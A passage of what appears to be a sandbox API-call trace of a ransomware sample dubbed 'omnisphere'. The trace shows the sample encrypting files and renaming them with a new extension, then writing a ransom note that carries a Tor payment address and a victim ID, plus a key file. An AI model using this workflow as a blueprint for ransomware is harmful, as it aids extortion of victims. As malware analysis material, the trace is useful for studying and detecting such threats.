hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.898] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.899] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.899] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0127.899] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.899] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.899] GetProcessHeap () returned 0x1600000 [0127.899] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x17114b8 [0127.899] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5175b273ceba776b.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5175b273ceba776b.automaticdestinations-ms.omnisphere")) returned 1 [0127.900] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms.omnisphere.id" [0127.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5175b273ceba776b.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.901] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.902] CloseHandle (hObject=0x388) returned 1 [0127.903] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.903] CloseHandle (hObject=0x3c0) returned 1 [0127.903] SetEndOfFile (hFile=0x288) returned 1 [0127.903] FlushFileBuffers (hFile=0x288) returned 1 [0127.906] CloseHandle (hObject=0x288) returned 1 [0127.906] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.906] GetProcessHeap () returned 0x1600000 [0127.906] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17117d0 [0127.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.906] GetProcessHeap () returned 0x1600000 [0127.906] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1e10 [0127.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1e10, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.906] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.906] GetProcessHeap () returned 0x1600000 [0127.906] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17106e0 [0127.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17106e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.907] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.907] GetProcessHeap () returned 0x1600000 [0127.907] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x165ec98 [0127.907] PathCombineW (in: pszDest=0x165ec98, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.907] GetProcessHeap () returned 0x1600000 [0127.907] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170a258 [0127.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.907] WriteFile (in: hFile=0x288, lpBuffer=0x170a258*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170a258*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.907] CloseHandle (hObject=0x288) returned 1 [0127.907] GetProcessHeap () returned 0x1600000 [0127.907] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17117d0 | out: hHeap=0x1600000) returned 1 [0127.907] GetProcessHeap () returned 0x1600000 [0127.907] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.907] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.908] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.908] CloseHandle (hObject=0x288) returned 1 [0127.908] GetProcessHeap () returned 0x1600000 [0127.908] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.908] GetProcessHeap () returned 0x1600000 [0127.908] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.908] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2307413b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4e000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="5f7b5f1e01b83767.automaticDestinations-ms", cAlternateFileName="5F7B5F~1.AUT")) returned 1 [0127.908] GetProcessHeap () returned 0x1600000 [0127.908] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.908] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="5f7b5f1e01b83767.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" [0127.908] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5f7b5f1e01b83767.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.909] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=319488) returned 1 [0127.909] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.909] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.909] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e000, lpName=0x0) returned 0x3c0 [0127.909] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c00000 [0127.909] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0127.909] CloseHandle (hObject=0x3c0) returned 1 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.909] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.910] GetTickCount () returned 0x115fea0 [0127.911] GetTickCount () returned 0x115fea0 [0127.911] GetTickCount () returned 0x115fea0 [0127.911] GetTickCount () returned 0x115fea0 [0127.911] GetTickCount () returned 0x115fea0 [0127.911] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668928) returned 1 [0127.911] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16397a8) returned 1 [0127.911] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.911] CryptDestroyKey (hKey=0x16397a8) returned 1 [0127.911] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0127.911] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e000, lpName=0x0) returned 0x3c0 [0127.912] MapViewOfFile (hFileMappingObject=0x3c0, 